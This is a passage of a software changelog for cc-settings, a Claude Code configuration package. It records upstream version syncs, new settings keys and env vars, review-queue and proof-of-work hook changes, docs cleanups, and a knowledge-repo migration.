  • src/lib/light-profile.ts — single manifest expressing light as a declarative subtractive diff over the full source (LIGHT_SKILLS), plus two pure transforms: applyLightProfile (reduces composed settings to $schema + statusLine) and stripManagedSettings (removes the full cc-settings footprint from an existing settings.json on a full→light switch, while preserving genuinely user-authored env vars, MCP servers, permission rules, and hook groups).
  • Profile recorded in the install sentinel (.cc-settings-version profile field) and surfaced in --status; light installs no longer report the ~27 full-tier skills as "missing."
  • Parity-guard + transform unit tests (tests/light-profile.test.ts) and install-e2e coverage for fresh light, full→light (footprint fully stripped to $schema + statusLine), and light→full (everything restored).

Changed

  • Idempotent tier switching. installConfigFiles/installSettings are profile-aware; a full→light switch strips cc-settings-managed MCP servers (from both settings.json and ~/.claude.json), hooks, env overrides, permission rules, scalar settings, and removes CLAUDE.md/AGENTS.md/agents/rules/profiles/contexts/docs. installDependencies skips the llm-tldr/jq/pipx setup for light (it runs no hooks needing them).
  • Docs: README "Install" + "Common commands", project CLAUDE.md Development section, and a new MANUAL "Light vs Full" section all document --light.

[11.21.0] — 2026-06-09

Upstream sync to Claude Code 2.1.169. One surface-area release — 2.1.169 adds a new settings key and a handful of env vars alongside a large batch of bug fixes. Manifest bumped 2.1.168 → 2.1.169; version bumped minor for the new settings key + env vars.

Added

  • disableBundledSkills settings key (2.1.169). Hides Anthropic's bundled skills, workflows, and built-in slash commands from the model — the upstream-shipped set only; cc-settings' own skills/agents/rules are unaffected. Useful when the bundled surface competes with project skills for the selector's attention (relevant to the 40-skill soft cap). Boolean, global scope. Added to src/schemas/settings.ts (global-toggles block, next to disableSkillShellExecution), upstream/claude-code-manifest.json knownSettingsKeys, and docs/settings-reference.md (table + a detailed ### section mirroring disableSkillShellExecution). The schema is passthrough, so live configs carrying the key already parsed — enumerating keeps the manifest honest and documents the surface.
  • Three env vars (2.1.169) added to upstream/claude-code-manifest.json knownEnvVars and the docs/settings-reference.md env table:
    • CLAUDE_CODE_DISABLE_BUNDLED_SKILLS — per-session counterpart of the disableBundledSkills setting.
    • CLAUDE_CODE_SAFE_MODE — counterpart of the new --safe-mode flag; boots with all customizations (CLAUDE.md, plugins, skills, hooks, MCP) disabled for troubleshooting.
    • API_FORCE_IDLE_TIMEOUT — =0 opts out of the restored default 5-minute Vertex/Foundry idle-stream timeout (a stalled stream now aborts instead of hanging).

Changed

  • Upstream sync to Claude Code 2.1.169. Triaged the full 2.1.169 changelog. Beyond the key + env vars above, nothing touches a surface cc-settings ships. Notable skips, with reasons: the new /cd command and --safe-mode flag are native (the env-var counterpart is captured); the "CLAUDE.md is too long" threshold now scales with the model's context window is a native warning orthogonal to our line-based CC_CLAUDE_MD_* monitor (different mechanism — not a dedupe); the managed allowedMcpServers/deniedMcpServers reconnect-enforcement fix needs nothing (our schema already accepts these keys); and the remaining ~25 bullets are bug fixes and runtime/UI tweaks (Up/Down history-row navigation, macOS claude.ai startup stall, Windows claude -p hang, Remote Control reconnect, claude agents --json fields, background-session flag preservation, OTEL cert-path trust gating, CPU/streaming perf, skill-tag contrast) with no config surface.

Files changed

  • src/schemas/settings.ts, schemas/settings.schema.json
  • schemas/settings.schema.json (regenerated via bun run schemas:emit)
  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • src/setup.ts
  • CHANGELOG.md

[11.20.0] — 2026-06-08

Upstream sync to Claude Code 2.1.168. Two of the three releases (2.1.167, 2.1.168) are bug-fixes-only; the one surface-area change is the fallbackModel settings key in 2.1.166. Manifest bumped 2.1.165 → 2.1.168; version bumped minor for the new settings key.

Added

  • fallbackModel settings key (2.1.166). Configures up to three fallback models tried in order when the primary model is overloaded or unavailable; the same release made the --fallback-model CLI flag apply to interactive sessions too, so the setting is its persistent counterpart. Not yet in upstream docs, so the shape is inferred from the changelog ("up to three… tried in order") and modeled as string | string[] — a permissive superset mirroring forceLoginOrgUUID (the flag takes one model, the setting allows three). Added to src/schemas/settings.ts (GENERAL block), upstream/claude-code-manifest.json knownSettingsKeys, and the docs/settings-reference.md table. The schema is passthrough, so live configs carrying the key already parsed — enumerating keeps the manifest honest and documents the surface.

Changed

  • Upstream sync to Claude Code 2.1.168. Triaged all of 2.1.166 (2.1.167/2.1.168 are "Bug fixes and reliability improvements" with no detail). Beyond fallbackModel, nothing else touches a surface cc-settings ships. Notable skips, with reasons: the deny-rule glob change ("*" denies all tools; allow rules reject non-MCP globs; unknown deny tool-names warn at startup) needs no work — src/schemas/permissions.ts deliberately validates only rule keys, not rule strings, and our allow/deny rules are all concrete Tool(pattern) form with no bare tool-name globs or unknown tools; cross-session SendMessage authority hardening is native security behavior; MAX_THINKING_TOKENS=0 / --thinking disabled / per-model thinking toggle is behavioral on a pre-existing env var we don't set; the fallback-model retry on non-retryable errors is native runtime behavior; the managed allowedMcpServers/deniedMcpServers ${VAR} predicate fix needs nothing (our schema already accepts arbitrary string values); and ~17 CLI/TUI/bug fixes have no config surface.

Files changed

  • src/schemas/settings.ts, schemas/settings.schema.json
  • schemas/settings.schema.json (regenerated via bun run schemas:emit)
  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • src/setup.ts
  • CHANGELOG.md

[11.19.0] — 2026-06-05

Upstream sync to Claude Code 2.1.165. Two of the three releases (2.1.164, 2.1.165) are bug-fixes-only; the one surface-area change is in 2.1.163. Manifest bumped 2.1.162 → 2.1.165; version bumped minor for the new settings keys.

Added

  • requiredMinimumVersion + requiredMaximumVersion managed settings (2.1.163). Claude Code refuses to start if its version falls outside the allowed range. New keys, distinct from the older minimumVersion (which they pair with conceptually but do not replace). Both string, enterprise/managed scope. Added to src/schemas/settings.ts (ENTERPRISE/MANAGED block), upstream/claude-code-manifest.json knownSettingsKeys, and the docs/settings-reference.md table. The schema is passthrough, so live configs carrying these keys already parsed — enumerating keeps the manifest honest and documents the surface.

Changed

  • Upstream sync to Claude Code 2.1.165. Triaged all of 2.1.163 (2.1.164/2.1.165 are "Bug fixes and reliability improvements" with no detail). Beyond the two settings keys above, only one bullet touches a surface cc-settings ships: Stop and SubagentStop hooks may now return hookSpecificOutput.additionalContext to feed Claude context and keep the turn going without being labeled a hook error. This is a runtime-output capability, not a config field, so there's no zod change — documented as a one-line note in docs/hooks-reference.md (cc-settings already ships stop-summary.ts + SubagentStop logging). Everything else skipped: /plugin list and /btw "c to copy" (native UI/commands), the Skills \$ literal-$-before-digit escape (no skill emits $N), stdio MCP receiving CLAUDE_CODE_SESSION_ID on --resume (env var already tracked), and ~17 bug fixes. One bug fix is a quiet win with no action on our side: if: "Bash(...)" hook conditions were firing on every command containing $()/$VAR (and $HOME deny-rule paths weren't blocking) — 2.1.163 fixes both upstream, making our existing if:-conditioned hooks and home-dir deny rules more correct for free.

Files changed

  • src/schemas/settings.ts, schemas/settings.schema.json
  • schemas/settings.schema.json (regenerated via bun run schemas:emit)
  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • docs/hooks-reference.md
  • src/setup.ts
  • CHANGELOG.md

[11.18.0] — 2026-06-04

Fixes the review-queue statusline nag (⚠ N review) staying red forever in PR / fast-forward-merge workflows. The awaiting counter incremented per writeable agent spawn but only drained on a local git commit that Claude itself ran (isGitCommit + commitSucceeded in src/hooks/review-queue-nudge.ts). Work that landed any other way — pushing a branch for a PR, a fast-forward git pull, a pulled-down PR merge, or a commit made in another terminal — never reset it, so it accumulated permanent false "review debt". The drain now recognizes how work actually advances.

Changed

  • Review-queue drains on more than a local commit. Three new drain/reconcile paths, on top of the existing commit drain:
    • Successful git push (isGitPush + pushSucceeded) — pushing a batch off for review/CI is a clean "done with this" boundary. pushSucceeded requires a positive ref-update signal (->, [new branch]/[new tag], or "Everything up-to-date") and no failure marker (rejected/fatal:/error:/failed to push), so a rejected push does not drain.
    • HEAD advanced — a new lastHead SHA on ReviewQueueState is the baseline; when a HEAD-moving Bash command (pull/merge/rebase/reset/checkout/switch/cherry-pick/am/revert, via movesHead) leaves HEAD past the baseline, the queue drains (onHeadObserved). This catches fast-forward pulls and pulled-down PR merges. The first observation only records a baseline — never a spurious drain.
    • SessionStart reconcile — folded into the existing src/scripts/session-start.ts (no new hook registration). On a non-empty queue it re-reads HEAD and drains if it advanced since last session, catching commits made in another terminal between sessions. Fail-soft: any git error leaves the queue untouched.
    • HEAD reads use the existing runGit helper (src/lib/git.ts, already trims + fails soft) and only fire on git-ish Bash commands, never on the statusline hot path. The cognitive-surrender check and read-only-agent exemption are unchanged.
    • Files changed: src/lib/review-queue.ts (state field + onCommit(head?), isGitPush, pushSucceeded, movesHead, onHeadObserved), src/hooks/review-queue-nudge.ts (push + HEAD-reconcile branches, currentHead), src/scripts/session-start.ts (reconcile block), tests/review-queue.test.ts (+7 unit/e2e tests, 24 in-file).

[11.17.1] — 2026-06-04

Upstream sync to Claude Code 2.1.162 — a bug-fix / UI-polish release with no cc-settings surface. Manifest bumped 2.1.161 → 2.1.162; version bumped patch.

Changed

  • Upstream sync to Claude Code 2.1.162. Triaged all 28 changelog bullets: every one is a bug fix (read-only config-dir startup hang, WebFetch preapproved-domain permission rules, Windows backslash/case-variant permission matching, Esc-at-turn-start drop in stream-json/SDK, emoji-in-MCP-description API 400s, MCP per-server timeout <1000 ms watchdog floor, LSP workspaceSymbol, ~10 claude agents rendering/attach/paste fixes, SendMessage deep-dir, stale-model background sessions, Write-result crash, EADDRINUSE), a UI/startup-polish tweak (/effort persist confirmation, slash-command-click-to-fill, Remote Control footer pill, quieter startup, removed Chrome/marketplace startup messages), or CLI-output/internal plumbing (claude agents --json waitingFor, spawn-failure error-class reporting). None add a settings key, hook event/type, env var, agent frontmatter field, MCP field, builtin tool, or permission mode. Grep/Glob (the --tools change) and the MCP timeout field already exist in our manifest/schema unchanged. The Windsurf → "Devin Desktop" rename applies to Claude Code's /ide menu labeling, not the external editor or the still-valid .windsurfrules interop that src/scripts/project-init.ts generates — deliberately left as-is.

[11.17.0] — 2026-06-03

Versions the work merged in #38–#42, which had accumulated in [Unreleased] without a version bump: the team-knowledge repo migration, a nuclear-review maintainability pass, retirement of the automated upstream-sync cron + sync to Claude Code 2.1.161, dynamic-workflow guidance fold-ins paid for by removing a dead-telemetry loop (net −107), and a docs-accuracy pass that purged retired skill names and deleted the redundant USAGE.md.

Changed

  • Docs accuracy pass (post-session). Skill counts updated to 34 across CLAUDE-FULL.md, CLAUDE.md, and MANUAL.md. Dead skill names (ask, premortem, compare-approaches, discovery, prd, create-handoff, resume-handoff, long-task, lenis, audit, versions) removed from MANUAL.md, skills/README.md, docs/frontmatter-reference.md. Added missing skills (freeze, plan-ceo-review, retro, strategist) to the MANUAL.md All Skills table. Removed deleted TLDR telemetry hook rows from MANUAL.md and docs/hooks-reference.md (track-tldr, mcp__tldr). Regenerated fork/main/inherit skill lists and agent-delegation table in docs/frontmatter-reference.md to match ground truth. Fixed retired-skill references (/compare-approaches, /long-task) in agents/maestro.md and docs/github-workflow.md. Removed USAGE.md — an uninstalled, unlinked onboarding doc that duplicated MANUAL.md and had drifted badly (its skill tables had been swept for dead names repeatedly; the recurring drift was the signal it was redundant). Also removed two empty local dirs (.claude/worktrees, .claude/agent-memory/oracle).
  • Retired the automated upstream-sync cron in favor of manual /cc sync. The daily GitHub Action (.github/workflows/upstream-sync.yml) and the --open-pr path in src/upstream/scan.ts only ever bumped a version number and dumped the drift string into a PR body. The scanner's diffSets compares the manifest against cc-settings' own zod schema — never upstream — and it never fetched the changelog, so it was structurally blind to new features, settings keys, env vars, hook events, and dedupe opportunities. That triage is the human-reviewed skill's job; the bot's PRs looked actionable but weren't, and raced the manual flow. Removing it also avoids a standing CI credential (making the cron smarter would have meant baking an ANTHROPIC_API_KEY/OAuth token into repo secrets and burning it unattended on every release).
    • Removed — .github/workflows/upstream-sync.yml; openSyncPr/saveManifest and the --open-pr branch in src/upstream/scan.ts (now a pure dry-run detector, no writeFile/runProcessFull imports); stale "daily GH Action"/"bot owns this file" references in the manifest description/source, skills/cc/SKILL.md, src/schemas/skill.ts, and the .github/workflows/ci.yml upstream-scan comment.
    • Kept — bun run upstream:scan (the dry-run detector) and its non-gating CI job, now the manual way to spot drift before running /cc sync.
  • Upstream sync to Claude Code 2.1.161. Manifest bumped 2.1.160 → 2.1.161. The release is otherwise all bug fixes / UI / perf with no cc-settings surface; the one tracked addition is CLAUDE_CODE_TMPDIR (surfaced by the EADDRINUSE/Unix-socket fix), added to the manifest knownEnvVars and the docs/settings-reference.md env-var table. OTEL_RESOURCE_ATTRIBUTES now feeds metric-datapoint labels but is a generic OTEL SDK var outside our CC-specific tracking convention — deliberately skipped.
  • Removed the dead TLDR session-stats telemetry pair (src/scripts/track-tldr.ts + tldr-stats.ts, their hook registrations, tests, and doc rows). It was a closed read-loop — track-tldr accumulated an estimated token-savings counter that only tldr-stats read, to print a vanity box at session end. No external consumer; TLDR itself is unaffected. Verified swarm-log.ts (feeds /review-batch) and session-title.ts (powers claude --resume <name>) are load-bearing and kept.
  • Folded Anthropic's dynamic-workflows learnings into existing guidance — no new files, no new skills. Distilled the "A harness for every task" write-up into the places that already decide when to orchestrate, rather than adding surface:
    • skills/orchestrate/SKILL.md — the dynamic-workflows section now leads with the trigger (the three single-window failure modes: agentic laziness, self-preferential bias, goal drift) instead of task type, names the canonical shapes (classify-and-act, fan-out-and-synthesize, generate-and-filter, tournament, loop-until-done), and surfaces quick workflows, token budgets, and the quarantine pattern for untrusted-input triage.
    • CLAUDE-FULL.md — failure-mode trigger added to the delegation decision tree.
    • skills/oracle/SKILL.md — compare mode now prefers pairwise/tournament judgment over absolute weighted scores for close or taste-heavy calls (comparative judgment resists the score-compression that clusters everything at 6–8).
    • MANUAL.md — token-budget directive for workflows; skills/nuclear-review/SKILL.md — its example workflow reframed as a template to adapt, not run verbatim.
    • Deliberately not done: the proposed /ship → bun run proof consolidation was rejected — bun run proof is a cc-settings-repo-local script, and /ship runs in any project, so the cut would have broken it everywhere else. Caught by verifying the (adversarially-generated) cut list instead of trusting it.
  • Shared team-knowledge migrated from GitHub Project #7 to a markdown repo (darkroomengineering/team-knowledge). The board was structurally hostile to its primary consumers (agents): network-gated GraphQL reads, not greppable offline, and no linter-enforced structure — gh project item-create never set the Kind field, so every /share-learning post landed kind: None and was invisible to a Kind-filtered query. The repo is one note per file + a generated INDEX.md, mirroring the local auto-memory tier. Decision + roadmap: docs/plans/knowledge-repo-migration.md (weighted comparison scored repo 795 vs board 515).
    • New — src/schemas/knowledge.ts (zod frontmatter contract: name/kind/tags/added-by/supersedes), src/lib/lint-knowledge.ts + src/scripts/lint-knowledge.ts (bun run lint:knowledge), src/scripts/new-note.ts (bun run new-note), tests/lint-knowledge.test.ts, emitted schemas/knowledge.schema.json.
    • Changed — /share-learning now reads INDEX.md for dedup and writes notes via gh api (was gh project item-list/item-create); docs/knowledge-system.md, the AGENTS.md Knowledge Routing section, and assorted docs retargeted; env KNOWLEDGE_PROJECT_NUMBER → KNOWLEDGE_REPO.
    • Companion — darky's search_team_knowledge reader rewritten for the repo substrate (darkroom-os#18); env DARKY_KNOWLEDGE_PROJECT_NUMBER → DARKY_KNOWLEDGE_REPO.
  • Nuclear-review maintainability pass — whole-codebase audit findings landed as behavior-preserving cleanups (467 tests green, no behavior change):
    • src/lib/io.ts deleted — its lone readStdin helper duplicated hook-runtime.ts's readHookInput (stdin drain + JSON.parse with fallback). The three callers — src/hooks/statusline.ts, src/scripts/stop-failure.ts, src/scripts/log-bash.ts — now use the canonical helper; barrel export dropped from src/lib/index.ts.
    • Version sentinel reader consolidated — ~/.claude/.cc-settings-version was read by two functions with their own parse+guard. src/lib/version-delta.ts now owns the single reader (readSentinelInfo + SentinelInfo type); readInstalledVersion delegates to it; src/lib/version-drift.ts drops its copy; src/scripts/session-start.ts and tests/version-drift.test.ts import from delta.
    • src/lib/status.ts — removed the back-compat MANAGED_SKILLS re-export (no external consumers; callers already import from managed-skills.ts).
    • src/lib/settings-merge.ts — replaced the as UnknownRecord + eight as StringArray casts in permissionsStrategy with runtime-guarded asRecord / stringArrayField helpers, so a corrupt settings.json degrades to empty rules instead of handing a bad shape to the union.
    • src/upstream/scan.ts validates the npm latest response with a zod safeParse instead of a raw cast; src/scripts/post-failure.ts drops a redundant second .slice(0, 200) that was eating the truncation ellipsis; src/scripts/pre-commit-tsc.ts drops an unnecessary Promise.all tuple cast.

Fixed

  • Stale dynamic-workflow trigger keyword — skills/orchestrate/SKILL.md said the one-shot trigger was the word workflow; the force-keyword was renamed workflow → ultracode in CC v2.1.160. Corrected to ultracode (natural-language "use a workflow" still works as opt-in).
  • skills/ship/SKILL.md had two Step 8 headers — the post-push CI-watch step is now Step 9.
  • --rollback now restores ~/.claude.json — createBackup/cmdRollback in src/setup.ts archived only settings.json/CLAUDE.md/AGENTS.md under ~/.claude, so the MCP config installMcpToClaudeJson rewrites (at ~/.claude.json, outside ~/.claude) had no rollback path. Backups are now $HOME-relative and include it; cmdRollback sniffs the archive layout so older ~/.claude-relative backups still restore to the right place.
  • src/scripts/session-title.ts read the prompt from process.env.PROMPT only, silently no-op'ing whenever Claude Code delivered UserPromptSubmit data via stdin JSON (the primary path). It now reads via readHookInput<{ session_id, prompt }> with env fallback, matching the sibling delegation-detector.ts hook on the same event.

[11.16.0] — 2026-06-02

Two additions: a deslop advisory probe in the proof-of-work gate (the framework-agnostic sibling to react-doctor), and a shift to PR-by-default as the standard workflow (with a repo PR template that dogfoods the plain-English standard).

Added

  • deslop advisory probe — src/lib/proof-of-work.ts gains detectDeslop(), runDeslop(), and the pure, unit-tested sumDeslopFindings(); bun run proof appends a deslop pass when the project depends on deslop-cli. Same shape as the react-doctor probe: advisory (never flips the verdict or exit code), and opt-in by dependency so local npx resolves the pinned binary with no network fetch. deslop (millionco, MIT) is a framework-agnostic cross-file dead-code / unused-export / circular-import scanner — the deterministic floor under the deslopper agent, catching what Biome's per-file linting can't. Reports total findings across categories (X findings). Silent for projects without it.
  • config/30-permissions.json — narrow Bash(npx deslop:*) allow rule (not a blanket npx). docs/settings-reference.md permissions block regenerated.
  • rules/typescript.md — Tools bullet documenting the pinned deslop invocation as an advisory pre-filter.
  • .github/PULL_REQUEST_TEMPLATE.md — a repo PR template embodying the v11.15.0 plain-English standard ("What this does" → Summary → Test Plan).

Changed

  • PR-by-default workflow — rules/git.md adds an "Open a PR by default" note: feature-branch + PR is the norm (most Darkroom client projects protect main), and direct git push origin main is the reserved exception for repos that explicitly allow it. Corrects the prior assumption that direct-to-main was a standing default.
  • skills/proof-of-work/SKILL.md — the advisory-probe paragraph now covers both react-doctor and deslop (was react-doctor only).

[11.15.2] — 2026-06-02

Fix a pre-existing Windows bug in the /freeze edit-scope lock. It was latent on main since /freeze shipped (ee74a4e) because changes had been direct-pushed without watching the Windows CI jobs — and it surfaced the moment a PR's CI matrix was actually watched to completion (a payoff of moving to PR-by-default).

Fixed

  • src/lib/freeze.ts — isWithinBoundary hard-coded a forward-slash separator (absFile.startsWith(\${absRoot}/`)). node:path's resolveemits` paths on Windows, so the subtree match never fired there — freeze would have rejected every in-boundary edit at runtime, and the tests failed. Now uses the platform separator (sep). Behaviour is identical on macOS/Linux (sep === "/").
  • tests/freeze.test.ts — the two toAbsolute assertions hard-coded POSIX output strings ("/repo/src/a.ts"), which can't hold on Windows (resolve yields C:\…\). They now derive expectations through resolve, so they're platform-agnostic. The isWithinBoundary boolean tests needed no change — they assert containment, which the sep fix makes correct on every OS.

[11.15.1] — 2026-06-02

Close two doc/wiring drifts left by this session's feature releases — surfaced by an audit of "what does each change touch vs what should it touch".

Fixed

  • skills/proof-of-work/SKILL.md was out of sync with the gate it documents: it described bun run proof as detecting only typecheck/test/lint, with no mention of the react-doctor advisory probe added to the gate in v11.13.0. Added a paragraph documenting it (advisory, pinned binary, telemetry off, never flips the verdict, silent when absent).
  • agents/reviewer.md never received the plain-English standard from v11.15.0 — that landed only in the review skill. Since the reviewer agent runs both via that skill (agent: reviewer) AND via direct Agent(reviewer, …) delegation, direct invocations bypassed the standard. Its Review Summary now leads with plain-English ("what this change does"), and feedback step 6 now requires plain-English comments ("like you're talking to a teammate, not citing a rulebook").

[11.15.0] — 2026-06-02

Make PR descriptions and review comments lead with a plain-English summary of what the change does — fixing the recurring failure mode where our PRs read as technical and over-engineered (the diff restated in jargon). Inspired by the "explain the why, plainly" spirit of a teaching-prompt gist, minus its quiz/tutor machinery, with an explicit "signal, not spam" bar so the summary is useful, not filler.

Changed

  • rules/git.md — the canonical PR template now leads with a ## What this does section (2–3 plain sentences naming the real-world effect, not the mechanism) above the technical ## Summary and ## Test Plan. Added a "Signal, not spam" rubric: every sentence earns its place, explain the why not just the what, don't make a small change sound big, no jargon dump / diff-restating / AI filler, and — if you can't say it plainly, that's a sign the change is unclear, not a cue for bigger words.
  • skills/ship/SKILL.md — Step 7 no longer uses gh pr create --fill (which dumps commit messages into the body and is the root cause of the technical-sounding PRs). It now authors the body via --body with a heredoc that leads with "What this does", and instructs writing that summary from the diff's purpose, not by pasting commit subjects.
  • skills/review/SKILL.md — the review Summary line now models the standard (plain-English "what this change does" first), and a new "Remember" bullet asks for comments written like you're talking to a teammate, not citing a rulebook.

Notes

  • No new skill — this is a writing standard threaded through the existing PR/review surfaces (still 31 skills).
  • Deliberately dropped the gist's interactive elements (quizzes, ELI5/14 levels, comprehension checkpoints): the goal is a useful description on the PR, not a tutoring session.

[11.14.0] — 2026-06-02

Fold Tailwind v4 token consolidation into the existing design-tokens skill — the inverse of its generation modes (audit-and-reduce an over-grown token set to fewer tokens with identical render). Method ported and adapted from millionco/skills (MIT), not installed via their npx skills add (same curation reasons as the react-doctor installer). bun run lint:skills clean; still 31 skills (folded, not added — honours the 40-skill soft cap).

Added

  • skills/design-tokens/SKILL.md — new "Consolidation" section: the required audit-first order (parse blocks → compute the LIVE set transitively → count globals.css's own utility-class var() deps → rename-map-as-data codegen → verify), the two reduction levers (dead deletion, value-similar collapse), the "don't inline into arbitrary values" rule, and the five collapse-safety checks most likely to bite (scoped overrides, same-side L=0.5 rule, transparent-in-one-mode, canonical-source precedence, bg-X/--background-image-X name collisions). Frontmatter description extended with consolidation triggers ("reduce tokens", "dedupe tokens", "too many tokens", "consolidate tokens").
  • MANUAL.md — /design-tokens blurb + skills-table row updated to cover consolidation.

Notes on the port (deliberate constraints)

  • Adapted, not copied. The source assumes pnpm typecheck/lint/format/build and a pnpm --filter web monorepo; the ported verify loop is Darkroom-native (bun run typecheck / tsgo --noEmit · biome check --write · bun run build), with a one-line note for pnpm-monorepo paths. Distilled to ~45 lines (from ~150) — the essential method + highest-value gotchas, authored in our voice.
  • Folded, not a new skill. Consolidation is the exact inverse of generation and shares the same domain (Tailwind v4 tokens / globals.css), so it belongs in design-tokens rather than a 32nd skill — keeping the selector lean.

[11.13.0] — 2026-06-02

Integrate react-doctor (millionco, MIT) into the proof-of-work gate as an optional advisory probe for React projects. react-doctor is a deterministic scanner (oxlint + eslint-plugin-react-hooks) that scores security/perf/correctness/a11y/bundle/architecture 0–100 — the deterministic floor under rules/react.md / react-perf.md, complementary to the LLM-driven /review and /nuclear-review (mechanical vs judgment, the same line proof-of-work already draws). Typecheck + full suite green.

Added

  • react-doctor advisory probe — src/lib/proof-of-work.ts gains detectReactDoctor() + runReactDoctor(), and bun run proof (src/scripts/proof.ts) now appends a react-doctor pass when the project depends on it. The probe is advisory: allGreen() ignores advisory results, so a low score (or a missing/broken binary) reports a signal but never flips the review-ready verdict or the exit code. Rendered with ℹ … (advisory) to read distinctly from the hard gates. (tests/proof-of-work.test.ts covers detection, advisory-ignored verdict, and advisory rendering.)
  • rules/react.md — one Tools bullet documenting the pinned, telemetry-off invocation as a pre-filter before LLM review, not the authority.
  • config/30-permissions.json — narrow Bash(npx react-doctor:*) allow rule (deliberately not a blanket Bash(npx:*)), so the probe runs without a prompt while every other npx still requires one.

Notes on the integration (deliberate constraints)

  • Pinned, never @latest. The probe runs only when react-doctor is already a project dependency, so local npx resolves the lockfile-pinned binary from node_modules/.bin with no network fetch. cc-settings never pulls an unpinned @latest — consistent with the supply-chain posture (hooks fingerprint, CLAUDE_CODE_SUBPROCESS_ENV_SCRUB).
  • Telemetry off. runReactDoctor() always passes --no-telemetry (react-doctor reports anonymous usage to Sentry by default); the documented invocation in rules/react.md does too.
  • No third-party installer. We did not adopt npx react-doctor install — it writes an opaque agent artifact that would bypass cc-settings' curation (skill linter, dr- naming, 40-skill cap, hooks fingerprint). The knowledge lives in a rule we author and version ourselves.
  • No new skill. Wired into the existing gate rather than a parallel /react-doctor skill, keeping the selector lean (still 31 skills) and the surface aligned with the 11.12.0 Amdahl-shrink work.

[11.12.1] — 2026-06-02

Upstream sync to Claude Code v2.1.160 — a cleanup-only release. v2.1.160 is almost entirely platform/feature bug fixes (Windows/WSL, background sessions, vim/voice/IME, claude agents) that cc-settings never worked around, plus native security hardening with no config surface. The one actionable change is a removed env var. Typecheck + full suite green; scanner reports no drift.

Synced (Claude Code v2.1.159 → v2.1.160)

  • Removed CLAUDE_CODE_OPUS_4_6_FAST_MODE_OVERRIDE (v2.1.160) — upstream deleted this env var (pinned fast mode to Opus 4.6; already flagged "two generations stale" since Opus 4.8). Dropped from upstream/claude-code-manifest.json knownEnvVars and the docs/settings-reference.md env table so the scanner stops vouching for a var that no longer exists. Historical CHANGELOG.md mentions are left intact as a record.
  • Already aligned — the v2.1.160 rename of the dynamic-workflow trigger keyword from workflow to ultracode needs no change: cc-settings adopted ultracode everywhere in 11.x (2.1.154+) and carried no stale workflow-keyword references.
  • Manifest — claudeCodeVersion 2.1.159 → 2.1.160, lastScan refreshed. Scanner reports no drift.
  • Skipped — native hardening with no cc-settings surface (prompt before writing shell startup files / ~/.config/git/; acceptEdits prompts before build-tool configs; Edit-after-grep no longer needs Read); removed JetBrains plugin suggestion; and the v2.1.160 bug-fix batch (WSL clipboard, claude agents history/freeze, claude --bg socket, Windows dir-deletion/keys/links, CJK IME, voice non-ASCII, vim p, SDK --model hint, brief-mode resume, /effort ultracode workflow-blame, auto-mode latency, SIGTERM teardown).

Files changed

  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • src/setup.ts
  • CHANGELOG.md

[11.12.0] — 2026-06-01

Structural cleanup from a /nuclear-review whole-codebase audit (2026-05-29), plus a suite of orchestration-tax features built from the audit and the "Orchestration Tax" essay (review-queue backpressure, proof-of-work gate, and more below), released together with an upstream sync to Claude Code v2.1.159. The cleanup is behavior-preserving (internal export renames aside); the new hooks/skills are additive. Full suite green, typecheck + lint clean.

Added

  • Review-queue backpressure — src/lib/review-queue.ts + src/hooks/review-queue-nudge.ts (PostToolUse) count agents spawned since your last commit and nudge when the queue reaches CC_MAX_UNREVIEWED (default 5); a git commit drains it. The statusline shows ⚠ N review (age) — yellow under the threshold, red at/over — and a fast commit of a deep queue is flagged as cognitive surrender (committed faster than CC_MIN_REVIEW_SECONDS, default 60, plausibly allows for real review). The consumer-side counterpart to parallelmax-nudge, which now suppresses its own "delegate more" nudge when the queue is saturated so the two don't give opposing advice. Models the constraint the "Orchestration Tax" essay names: review throughput, not agent count. Knobs: CC_MAX_UNREVIEWED, CC_MIN_REVIEW_SECONDS.
  • Proof-of-work gate — bun run proof (src/lib/proof-of-work.ts, src/scripts/proof.ts, skills/proof-of-work/) runs the verification battery (typecheck/test/lint, detected from package.json, cheapest-first) and prints one review-ready ✓ / ✗ verdict. The Amdahl-shrink move: make the machine prove the boring 80% so human review spends the lock on judgment, not on confirming what a machine can. The implementer agent now attaches a proof report before handing back. Pairs with the review-queue — backpressure limits unproven diffs; the gate makes each cheaper to close.
  • Two-pile triage in orchestration — skills/orchestrate/SKILL.md Phase 1 and agents/maestro.md now sort work before fanning out: delegate-async (isolated, judgment at the gate) fans out; hold-the-lock (judgment IS the work) stays serial — parallelizing the second pile thrashes the one resource that can't be cloned. A judgment-heavy task is a SIMPLIFY/NO-GO for orchestration regardless of size.
  • /review-batch + re-entry cards — skills/review-batch/ + bun run review-batch (src/scripts/review-batch.ts) assemble the pending-review picture (queue depth + age, working-tree diff stat, recent agents from swarm.log) so you batch-review in one sitting instead of cold-reloading one agent at a time. Each change gets a re-entry card (what / why / decide / proof) that reloads your context cheaply. Attacks the context-switch tax.
  • Opt-in nuclear-review workflow — skills/nuclear-review/references/nuclear-review.workflow.js, a runnable dynamic-workflow version of the whole-codebase audit (map → per-module reviewers in parallel → dependency audit → synthesis). It deliberately uses the preview Workflow API, which is exactly why it ships as an example in references/ rather than wired into the skill — /nuclear-review itself still depends on nothing. Softened the orchestrate rule from "don't couple to the Workflow tool" to "don't depend on it; an opt-in example is fine."

Synced (Claude Code v2.1.156 → v2.1.159)

  • Adopted CLAUDE_CODE_ENABLE_AUTO_MODE (v2.1.158) — opt-in (=1) for auto mode on Bedrock, Vertex, and Foundry for Opus 4.7/4.8 (native on the first-party API). Added to upstream/claude-code-manifest.json knownEnvVars (alphabetical) and the docs/settings-reference.md env table so the scanner stops re-flagging it as drift.
  • Docs refinements (v2.1.157) — the OTEL_LOG_TOOL_DETAILS env row now notes it also adds tool_parameters to tool_decision telemetry events; the agent settings-key row notes it's now honored by claude agents dispatched sessions.
  • Manifest — claudeCodeVersion 2.1.156 → 2.1.159, lastScan refreshed. Scanner reports no drift.
  • Skipped — v2.1.159 internal-only changes; .claude/skills plugin auto-loading + claude plugin init (cc-settings installs skills directly, not via marketplace); /plugin autocomplete; EnterWorktree mid-session switching; worktree unlock-on-completion; and assorted image-paste / sandbox-prompt / /model-picker / terminal-UI bugfixes.

Changed

